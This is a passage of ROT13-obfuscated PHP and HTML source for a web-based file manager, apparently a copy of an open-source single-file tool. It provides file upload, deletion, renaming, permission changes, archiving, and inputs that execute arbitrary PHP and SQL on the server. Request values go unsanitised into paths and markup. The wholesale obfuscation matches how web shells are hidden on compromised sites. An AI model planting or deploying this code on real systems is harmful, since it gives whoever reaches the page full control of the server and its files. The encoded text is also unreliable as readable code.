    </gq>
</ge>
</gnoyr>
<?cuc
rpub $nhgu['fpevcg'];
} ryfrvs(!rzcgl($_ERDHRFG['evtugf'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    vs(sz_puzbq($cngu . $_ERDHRFG['evtugf'], sz_pbaireg_evtugf($_ERDHRFG['evtugf_iny']), @$_ERDHRFG['erphefviryl']))
		$zft .= (__('Svyr hcqngrq')); 
		ryfr $zft .= (__('Reebe bppheerq'));
	}
	pyrnefgngpnpur();
    $byqevtugf = sz_evtugf_fgevat($cngu . $_ERDHRFG['evtugf'], gehr);
    $yvax = $hey_vap . '&evtugf=' . $_ERDHRFG['evtugf'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
           <?=__('Evtugf').' - '.$_ERDHRFG['evtugf']?> <vachg glcr="grkg" anzr="evtugf_iny" inyhr="<?=$byqevtugf?>">
        <?cuc vs (vf_qve($cngu.$_ERDHRFG['evtugf'])) { ?>
            <vachg glcr="purpxobk" anzr="erphefviryl" inyhr="1"> <?=__('Erphefviryl')?><oe/>
        <?cuc } ?>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfrvs (!rzcgl($_ERDHRFG['eranzr'])&&$_ERDHRFG['eranzr']<>'.') {
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    eranzr($cngu . $_ERDHRFG['eranzr'], $cngu . $_ERDHRFG['arjanzr']);
		$zft .= (__('Svyr hcqngrq'));
		$_ERDHRFG['eranzr'] = $_ERDHRFG['arjanzr'];
	}
	pyrnefgngpnpur();
    $yvax = $hey_vap . '&eranzr=' . $_ERDHRFG['eranzr'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;

?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
            <?=__('Eranzr')?>: <vachg glcr="grkg" anzr="arjanzr" inyhr="<?=$_ERDHRFG['eranzr']?>"><oe/>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfr {
//Yrg'f ebpx!
    $zft = '';
    vs(!rzcgl($_SVYRF['hcybnq'])&&!rzcgl($sz_pbasvt['hcybnq_svyr'])) {
        vs(!rzcgl($_SVYRF['hcybnq']['anzr'])){
            $_SVYRF['hcybnq']['anzr'] = fge_ercynpr('%', '', $_SVYRF['hcybnq']['anzr']);
            vs(!zbir_hcybnqrq_svyr($_SVYRF['hcybnq']['gzc_anzr'], $cngu . $_SVYRF['hcybnq']['anzr'])){
                $zft .= __('Reebe bppheerq');
            } ryfr {
				$zft .= __('Svyrf hcybnqrq').': '.$_SVYRF['hcybnq']['anzr'];
			}
        }
    } ryfrvs(!rzcgl($_ERDHRFG['qryrgr'])&&$_ERDHRFG['qryrgr']<>'.') {
        vs(!sz_qry_svyrf(($cngu . $_ERDHRFG['qryrgr']), gehr)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Qryrgrq').' '.$_ERDHRFG['qryrgr'];
		}
	} ryfrvs(!rzcgl($_ERDHRFG['zxqve'])&&!rzcgl($sz_pbasvt['znxr_qverpgbel'])) {
        vs(!@zxqve($cngu . $_ERDHRFG['qveanzr'],0777)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Perngrq').' '.$_ERDHRFG['qveanzr'];
		}
    } ryfrvs(!rzcgl($_CBFG['frnepu_erphefvir'])) {
		vav_frg('znk_rkrphgvba_gvzr', '0');
		$frnepu_qngn =  svaq_grkg_va_svyrf($_CBFG['cngu'], $_CBFG['znfx'], $_CBFG['frnepu_erphefvir']);
		vs(!rzcgl($frnepu_qngn)) {
			$zft .= __('Sbhaq va svyrf').' ('.pbhag($frnepu_qngn).'):<oe>';
			sbernpu ($frnepu_qngn nf $svyranzr) {
				$zft .= '<n uers="'.sz_hey(gehr).'?sz=gehr&rqvg='.onfranzr($svyranzr).'&cngu='.fge_ercynpr('/'.onfranzr($svyranzr),'/',$svyranzr).'" gvgyr="' . __('Rqvg') . '">'.onfranzr($svyranzr).'</n>&aofc; &aofc;';
			}
		} ryfr {
			$zft .= __('Abguvat sbhaqrq');
		}	
	} ryfrvs(!rzcgl($_ERDHRFG['zxsvyr'])&&!rzcgl($sz_pbasvt['arj_svyr'])) {
        vs(!$sc=@sbcra($cngu . $_ERDHRFG['svyranzr'],"j")) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			spybfr($sc);
			$zft .= __('Perngrq').' '.$_ERDHRFG['svyranzr'];
		}
    } ryfrvs (vffrg($_TRG['mvc'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['mvc']);
		$qrfgvangvba = onfranzr($fbhepr).'.mvc';
		frg_gvzr_yvzvg(0);
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		vs (vf_svyr($qrfgvangvba))
		$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
		'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
		.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '. $qrfgvangvba.'" >'.__('Qryrgr') . '</n>';
		ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['tm'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tm']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		pyrnefgngpnpur();
		frg_gvzr_yvzvg(0);
		//qvr();
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		$cune->pbzcerff(Cune::TM,'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}

			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['qrpbzcerff'])) {
		// $fbhepr = onfr64_qrpbqr($_TRG['qrpbzcerff']);
		// $qrfgvangvba = onfranzr($fbhepr);
		// $rkg = raq(rkcybqr(".", $qrfgvangvba));
		// vs ($rkg=='mvc' BE $rkg=='tm') {
			// $cune = arj CuneQngn($fbhepr);
			// $cune->qrpbzcerff();
			// $onfr_svyr = fge_ercynpr('.'.$rkg,'',$qrfgvangvba);
			// $rkg = raq(rkcybqr(".", $onfr_svyr));
			// vs ($rkg=='gne'){
				// $cune = arj CuneQngn($onfr_svyr);
				// $cune->rkgenpgGb(qve($fbhepr));
			// }
		// } 
		// $zft .= __('Gnfx').' "'.__('Qrpbzcerff').' '.$fbhepr.'" '.__('qbar');
	} ryfrvs (vffrg($_TRG['tmsvyr'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tmsvyr']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		frg_gvzr_yvzvg(0);
		//rpub $qrfgvangvba;
		$rkg_nee = rkcybqr('.',onfranzr($fbhepr));
		vs (vffrg($rkg_nee[1])) {
			hafrg($rkg_nee[0]);
			$rkg=vzcybqr('.',$rkg_nee);
		} 
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->nqqSvyr($fbhepr);
		$cune->pbzcerff(Cune::TM,$rkg.'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}
			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	}
?>
<gnoyr pynff="jubyr" vq="urnqre_gnoyr" >
<ge>
    <gu pbyfcna="2"><?=__('Svyr znantre')?><?=(!rzcgl($cngu)?' - '.$cngu:'')?></gu>
</ge>
<?cuc vs(!rzcgl($zft)){ ?>
<ge>
	<gq pbyfcna="2" pynff="ebj2"><?=$zft?></gq>
</ge>
<?cuc } ?>
<ge>
    <gq pynff="ebj2">
		<gnoyr>
			<ge>
			<gq>
				<?=sz_ubzr()?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['znxr_qverpgbel'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" anzr="qveanzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxqve" inyhr="<?=__('Znxr qverpgbel')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['arj_svyr'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu"     inyhr="<?=$cngu?>" />
				<vachg glcr="grkg"   anzr="svyranzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxsvyr"   inyhr="<?=__('Arj svyr')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
				<sbez  zrgubq="cbfg" npgvba="<?=$hey_vap?>" fglyr="qvfcynl:vayvar">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" cynprubyqre="<?=__('Erphefvir frnepu')?>" anzr="frnepu_erphefvir" inyhr="<?=!rzcgl($_CBFG['frnepu_erphefvir'])?$_CBFG['frnepu_erphefvir']:''?>" fvmr="15">
				<vachg glcr="grkg" anzr="znfx" cynprubyqre="<?=__('Znfx')?>" inyhr="<?=!rzcgl($_CBFG['znfx'])?$_CBFG['znfx']:'*.*'?>" fvmr="5">
				<vachg glcr="fhozvg" anzr="frnepu" inyhr="<?=__('Frnepu')?>">
				</sbez>
			</gq>
			<gq>
			<?=sz_eha_vachg('cuc')?>
			</gq>
			<gq>
			<?=sz_eha_vachg('fdy')?>
			</gq>
			</ge>
		</gnoyr>
    </gq>
    <gq pynff="ebj3">
		<gnoyr>
		<ge>
		<gq>
		<?cuc vs (!rzcgl($sz_pbasvt['hcybnq_svyr'])) { ?>
			<sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$hey_vap?>" rapglcr="zhygvcneg/sbez-qngn">
			<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
			<vachg glcr="svyr" anzr="hcybnq" vq="hcybnq_uvqqra" fglyr="cbfvgvba: nofbyhgr; qvfcynl: oybpx; biresybj: uvqqra; jvqgu: 0; urvtug: 0; obeqre: 0; cnqqvat: 0;" bapunatr="qbphzrag.trgRyrzragOlVq('hcybnq_ivfvoyr').inyhr = guvf.inyhr;" />
			<vachg glcr="grkg" ernqbayl="1" vq="hcybnq_ivfvoyr" cynprubyqre="<?=__('Fryrpg gur svyr')?>" fglyr="phefbe: cbvagre;" bapyvpx="qbphzrag.trgRyrzragOlVq('hcybnq_uvqqra').pyvpx();" />
			<vachg glcr="fhozvg" anzr="grfg" inyhr="<?=__('Hcybnq')?>" />
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?cuc vs ($nhgu['nhgubevmr']) { ?>
			<sbez npgvba="" zrgubq="cbfg">&aofc;&aofc;&aofc;
			<vachg anzr="dhvg" glcr="uvqqra" inyhr="1">
			<?=__('Uryyb')?>, <?=$nhgu['ybtva']?>
			<vachg glcr="fhozvg" inyhr="<?=__('Dhvg')?>">
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?=sz_ynat_sbez($ynathntr)?>
		</gq>
		<ge>
		</gnoyr>
    </gq>
</ge>
</gnoyr>
<gnoyr pynff="nyy" obeqre='0' pryyfcnpvat='1' pryycnqqvat='1' vq="sz_gnoyr" jvqgu="100%">
<gurnq>
<ge> 
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Svyranzr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Fvmr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Qngr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Evtugf')?> </gu>
    <gu pbyfcna="4" fglyr="juvgr-fcnpr:abjenc"> <?=__('Znantr')?> </gu>
</ge>
</gurnq>
<gobql>
<?cuc
$ryrzragf = sz_fpna_qve($cngu, '', 'nyy', gehr);
$qvef = neenl();
$svyrf = neenl();
sbernpu ($ryrzragf nf $svyr){
    vs(@vf_qve($cngu . $svyr)){
        $qvef[] = $svyr;
    } ryfr {
        $svyrf[] = $svyr;
    }
}
angfbeg($qvef); angfbeg($svyrf);
$ryrzragf = neenl_zretr($qvef, $svyrf);

sbernpu ($ryrzragf nf $svyr){
    $svyranzr = $cngu . $svyr;
    $svyrqngn = @fgng($svyranzr);
    vs(@vf_qve($svyranzr)){
		$svyrqngn[7] = '';
		vs (!rzcgl($sz_pbasvt['fubj_qve_fvmr'])&&!sz_ebbg($svyr)) $svyrqngn[7] = sz_qve_fvmr($svyranzr);
        $yvax = '<n uers="'.$hey_vap.'&cngu='.$cngu.$svyr.'" gvgyr="'.__('Fubj').' '.$svyr.'"><fcna pynff="sbyqre">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
        $ybnqyvax= (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('mvc',$svyranzr,__('Pbzcerff').'&aofc;mvc',__('Nepuvivat').' '. $svyr);
		$neyvax  = (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tm',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '.$svyr);
        $fglyr = 'ebj2';
		 vs (!sz_ebbg($svyr)) $nyreg = 'baPyvpx="vs(pbasvez(\'' . __('Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?').'\a /'. $svyr. '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"'; ryfr $nyreg = '';
    } ryfr {
		$yvax = 
			$sz_pbasvt['fubj_vzt']&&@trgvzntrfvmr($svyranzr) 
			? '<n gnetrg="_oynax" bapyvpx="ine yrsgb = fperra.ninvyJvqgu/2-320;jvaqbj.bcra(\''
			. sz_vzt_yvax($svyranzr)
			.'\',\'cbchc\',\'jvqgu=640,urvtug=480,yrsg=\' + yrsgb + \',fpebyyonef=lrf,gbbyone=ab,ybpngvba=ab,qverpgbevrf=ab,fgnghf=ab\');erghea snyfr;" uers="'.sz_vzt_yvax($svyranzr).'"><fcna pynff="vzt">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>'
			: '<n uers="' . $hey_vap . '&rqvg=' . $svyr . '&cngu=' . $cngu. '" gvgyr="' . __('Rqvg') . '"><fcna pynff="svyr">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
		$r_nee = rkcybqr(".", $svyr);
		$rkg = raq($r_nee);
        $ybnqyvax =  sz_yvax('qbjaybnq',$svyranzr,__('Qbjaybnq'),__('Qbjaybnq').' '. $svyr);
		$neyvax = va_neenl($rkg,neenl('mvc','tm','gne')) 
		? ''
		: ((sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tmsvyr',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '. $svyr));
        $fglyr = 'ebj1';
		$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    }
    $qryrgryvax = sz_ebbg($svyr) ? '' : '<n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
    $eranzryvax = sz_ebbg($svyr) ? '' : '<n uers="' . $hey_vap . '&eranzr=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Eranzr') .' '. $svyr . '">' . __('Eranzr') . '</n>';
    $evtugfgrkg = ($svyr=='.' || $svyr=='..') ? '' : '<n uers="' . $hey_vap . '&evtugf=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Evtugf') .' '. $svyr . '">' . @sz_evtugf_fgevat($svyranzr) . '</n>';
?>
<ge pynff="<?=$fglyr?>"> 
    <gq><?=$yvax?></gq>
    <gq><?=$svyrqngn[7]?></gq>
    <gq fglyr="juvgr-fcnpr:abjenc"><?=tzqngr("L-z-q U:v:f",$svyrqngn[9])?></gq>
    <gq><?=$evtugfgrkg?></gq>
    <gq><?=$qryrgryvax?></gq>
    <gq><?=$eranzryvax?></gq>
    <gq><?=$ybnqyvax?></gq>
    <gq><?=$neyvax?></gq>
</ge>
<?cuc
    }
}
?>
</gobql>
</gnoyr>
<qvi pynff="ebj3"><?cuc
	$zgvzr = rkcybqr(' ', zvpebgvzr()); 
	$gbgnygvzr = $zgvzr[0] + $zgvzr[1] - $fgneggvzr; 
	rpub sz_ubzr().' | ire. '.$sz_irefvba.' | <n uers="uggcf://tvguho.pbz/Qra1kkk/Svyrznantre">Tvguho</n>  | <n uers="'.sz_fvgr_hey().'">.</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cuc_ire'])) rpub ' | CUC '.cucirefvba();
	vs (!rzcgl($sz_pbasvt['fubj_cuc_vav'])) rpub ' | '.cuc_vav_ybnqrq_svyr();
	vs (!rzcgl($sz_pbasvt['fubj_tg'])) rpub ' | '.__('Trarengvba gvzr').': '.ebhaq($gbgnygvzr,2);
	vs (!rzcgl($sz_pbasvt['ranoyr_cebkl'])) rpub ' | <n uers="?cebkl=gehr">cebkl</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cucvasb'])) rpub ' | <n uers="?cucvasb=gehr">cucvasb</n>';
	vs (!rzcgl($sz_pbasvt['fubj_kyf'])&&!rzcgl($yvax)) rpub ' | <n uers="wninfpevcg: ibvq(0)" bapyvpx="ine bow = arj gnoyr2Rkpry(); bow.PerngrRkpryFurrg(\'sz_gnoyr\',\'rkcbeg\');" gvgyr="'.__('Qbjaybnq').' kyf">kyf</n>';
	vs (!rzcgl($sz_pbasvt['sz_frggvatf'])) rpub ' | <n uers="?sz_frggvatf=gehr">'.__('Frggvatf').'</n>';
	?>
</qvi>
<fpevcg glcr="grkg/wninfpevcg">
shapgvba qbjaybnq_kyf(svyranzr, grkg) {
	ine ryrzrag = qbphzrag.perngrRyrzrag('n');
	ryrzrag.frgNggevohgr('uers', 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,' + grkg);
	ryrzrag.frgNggevohgr('qbjaybnq', svyranzr);
	ryrzrag.fglyr.qvfcynl = 'abar';
	qbphzrag.obql.nccraqPuvyq(ryrzrag);
	ryrzrag.pyvpx();
	qbphzrag.obql.erzbirPuvyq(ryrzrag);
}

shapgvba onfr64_rapbqr(z) {
	sbe (ine x = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/".fcyvg(""), p, q, u, r, n, t = "", o = 0, s, y = 0; y < z.yratgu; ++y) {
		p = z.punePbqrNg(y);
		vs (128 > p) q = 1;
		ryfr
			sbe (q = 2; p >= 2 << 5 * q;) ++q;
		sbe (u = 0; u < q; ++u) 1 == q ? r = p : (r = u ? 128 : 192, n = q - 2 - 6 * u, 0 <= n && (r += (6 <= n ? 1 : 0) + (5 <= n ? 2 : 0) + (4 <= n ? 4 : 0) + (3 <= n ? 8 : 0) + (2 <= n ? 16 : 0) + (1 <= n ? 32 : 0), n -= 5), 0 > n && (h = 6 * (q - 1 - u), r += p >> h, p -= p >> h << h)), s = o ? s << 6 - o : 0, o += 2, s += r >> o, t += x[s], s = r % (1 << o), 6 == o && (o = 0, t += x[s])
	}
	o && (t += x[s << 6 - o]);
	erghea t
}


ine gnoyrGbRkpryQngn = (shapgvba() {
    ine hev = 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,',
    grzcyngr = '<ugzy kzyaf:b="hea:fpurznf-zvpebfbsg-pbz:bssvpr:bssvpr" kzyaf:k="hea:fpurznf-zvpebfbsg-pbz:bssvpr:rkpry" kzyaf="uggc://jjj.j3.bet/GE/ERP-ugzy40"><urnq><!--[vs tgr zfb 9]><kzy><k:RkpryJbexobbx><k:RkpryJbexfurrgf><k:RkpryJbexfurrg><k:Anzr>{jbexfurrg}</k:Anzr><k:JbexfurrgBcgvbaf><k:QvfcynlTevqyvarf></k:QvfcynlTevqyvarf></k:JbexfurrgBcgvbaf></k:RkpryJbexfurrg></k:RkpryJbexfurrgf></k:RkpryJbexobbx></kzy><![raqvs]--><zrgn uggc-rdhvi="pbagrag-glcr" pbagrag="grkg/cynva; punefrg=HGS-8"/></urnq><obql><gnoyr>{gnoyr}</gnoyr></obql></ugzy>',
    sbezng = shapgvba(f, p) {
            erghea f.ercynpr(/{(\j+)}/t, shapgvba(z, c) {
                erghea p[c];
            })
        }
    erghea shapgvba(gnoyr, anzr) {
        vs (!gnoyr.abqrGlcr) gnoyr = qbphzrag.trgRyrzragOlVq(gnoyr)
        ine pgk = {
            jbexfurrg: anzr || 'Jbexfurrg',
            gnoyr: gnoyr.vaareUGZY.ercynpr(/<fcna(.*?)\/fcna> /t,"").ercynpr(/<n\o[^>]*>(.*?)<\/n>/t,"$1")
        }
		g = arj Qngr();
		svyranzr = 'sz_' + g.gbVFBFgevat() + '.kyf'
		qbjaybnq_kyf(svyranzr, onfr64_rapbqr(sbezng(grzcyngr, pgk)))
    }
})();

ine gnoyr2Rkpry = shapgvba () {

    ine hn = jvaqbj.anivtngbe.hfreNtrag;
    ine zfvr = hn.vaqrkBs("ZFVR ");

	guvf.PerngrRkpryFurrg = 
		shapgvba(ry, anzr){
			vs (zfvr > 0 || !!anivtngbe.hfreNtrag.zngpu(/Gevqrag.*ei\:11\./)) {// Vs Vagrearg Rkcybere

				ine k = qbphzrag.trgRyrzragOlVq(ry).ebjf;

				ine kyf = arj NpgvirKBowrpg("Rkpry.Nccyvpngvba");

				kyf.ivfvoyr = gehr;
				kyf.Jbexobbxf.Nqq
				sbe (v = 0; v < k.yratgu; v++) {
					ine l = k[v].pryyf;

					sbe (w = 0; w < l.yratgu; w++) {
						kyf.Pryyf(v + 1, w + 1).Inyhr = l[w].vaareGrkg;
					}
				}
				kyf.Ivfvoyr = gehr;
				kyf.HfrePbageby = gehr;
				erghea kyf;
			} ryfr {
				gnoyrGbRkpryQngn(ry, anzr);
			}
		}
}
</fpevcg>
</obql>
</ugzy>

<?cuc
//Cbegrq sebz ErybnqPZF cebwrpg uggc://erybnqpzf.pbz
pynff nepuvirGne {
	ine $nepuvir_anzr = '';
	ine $gzc_svyr = 0;
	ine $svyr_cbf = 0;
	ine $vfTmvccrq = gehr;
	ine $reebef = neenl();
	ine $svyrf = neenl();
	
	shapgvba __pbafgehpg(){
		vs (!vffrg($guvf->reebef)) $guvf->reebef = neenl();
	}
	
	shapgvba perngrNepuvir($svyr_yvfg){
		$erfhyg = snyfr;
		vs (svyr_rkvfgf($guvf->nepuvir_anzr) && vf_svyr($guvf->nepuvir_anzr)) 	$arjNepuvir = snyfr;
		ryfr $arjNepuvir = gehr;
		vs ($arjNepuvir){
			vs (!$guvf->bcraJevgr()) erghea snyfr;
		} ryfr {
			vs (svyrfvmr($guvf->nepuvir_anzr) == 0)	erghea $guvf->bcraJevgr();
			vs ($guvf->vfTmvccrq) {
				$guvf->pybfrGzcSvyr();
				vs (!eranzr($guvf->nepuvir_anzr, $guvf->nepuvir_anzr.'.gzc')){
					$guvf->reebef[] = __('Pnaabg eranzr').' '.$guvf->nepuvir_anzr.__(' gb ').$guvf->nepuvir_anzr.'.gzc';
					erghea snyfr;
				}
				$gzcNepuvir = tmbcra($guvf->nepuvir_anzr.'.gzc', 'eo');
				vs (!$gzcNepuvir){
					$guvf->reebef[] = $guvf->nepuvir_anzr.'.gzc '.__('vf abg ernqnoyr');
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				vs (!$guvf->bcraJevgr()){
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				$ohssre = tmernq($gzcNepuvir, 512);
				vs (!tmrbs($gzcNepuvir)){
					qb {
						$ovanelQngn = cnpx('n512', $ohssre);
						$guvf->jevgrOybpx($ovanelQngn);
						$ohssre = tmernq($gzcNepuvir, 512);
					}
					juvyr (!tmrbs($gzcNepuvir));
				}
				tmpybfr($gzcNepuvir);
				hayvax($guvf->nepuvir_anzr.'.gzc');
			} ryfr {
				$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'e+o');
				vs (!$guvf->gzc_svyr)	erghea snyfr;
			}
		}
		vs (vffrg($svyr_yvfg) && vf_neenl($svyr_yvfg)) {
		vs (pbhag($svyr_yvfg)>0)
			$erfhyg = $guvf->cnpxSvyrNeenl($svyr_yvfg);
		} ryfr $guvf->reebef[] = __('Ab svyr').__(' gb ').__('Nepuvir');
		vs (($erfhyg)&&(vf_erfbhepr($guvf->gzc_svyr))){
			$ovanelQngn = cnpx('n512', '');
			$guvf->jevgrOybpx($ovanelQngn);
		}
		$guvf->pybfrGzcSvyr();
		vs ($arjNepuvir && !$erfhyg){
		$guvf->pybfrGzcSvyr();
		hayvax($guvf->nepuvir_anzr);
		}
		erghea $erfhyg;
	}

	shapgvba erfgberNepuvir($cngu){
		$svyrAnzr = $guvf->nepuvir_anzr;
		vs (!$guvf->vfTmvccrq){
			vs (svyr_rkvfgf($svyrAnzr)){
				vs ($sc = sbcra($svyrAnzr, 'eo')){
					$qngn = sernq($sc, 2);
					spybfr($sc);
					vs ($qngn == '\37\213'){
						$guvf->vfTmvccrq = gehr;
					}
				}
			}
			ryfrvs ((fhofge($svyrAnzr, -2) == 'tm') BE (fhofge($svyrAnzr, -3) == 'gtm')) $guvf->vfTmvccrq = gehr;
		} 
		$erfhyg = gehr;
		vs ($guvf->vfTmvccrq) $guvf->gzc_svyr = tmbcra($svyrAnzr, 'eo');
		ryfr $guvf->gzc_svyr = sbcra($svyrAnzr, 'eo');
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = $svyrAnzr.' '.__('vf abg ernqnoyr');
			erghea snyfr;
		}
		$erfhyg = $guvf->hacnpxSvyrNeenl($cngu);
			$guvf->pybfrGzcSvyr();
		erghea $erfhyg;
	}

	shapgvba fubjReebef	($zrffntr = '') {
		$Reebef = $guvf->reebef;
		vs(pbhag($Reebef)>0) {
		vs (!rzcgl($zrffntr)) $zrffntr = ' ('.$zrffntr.')';
			$zrffntr = __('Reebe bppheerq').$zrffntr.': <oe/>';
			sbernpu ($Reebef nf $inyhr)
				$zrffntr .= $inyhr.'<oe/>';
			erghea $zrffntr;	
		} ryfr erghea '';
		
	}
	
	shapgvba cnpxSvyrNeenl($svyr_neenl){
		$erfhyg = gehr;
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
		}
		vs (!vf_neenl($svyr_neenl) || pbhag($svyr_neenl)<=0)
          erghea gehr;
		sbe ($v = 0; $v<pbhag($svyr_neenl); $v++){
			$svyranzr = $svyr_neenl[$v];
			vs ($svyranzr == $guvf->nepuvir_anzr)
				pbagvahr;
			vs (fgeyra($svyranzr)<=0)
				pbagvahr;
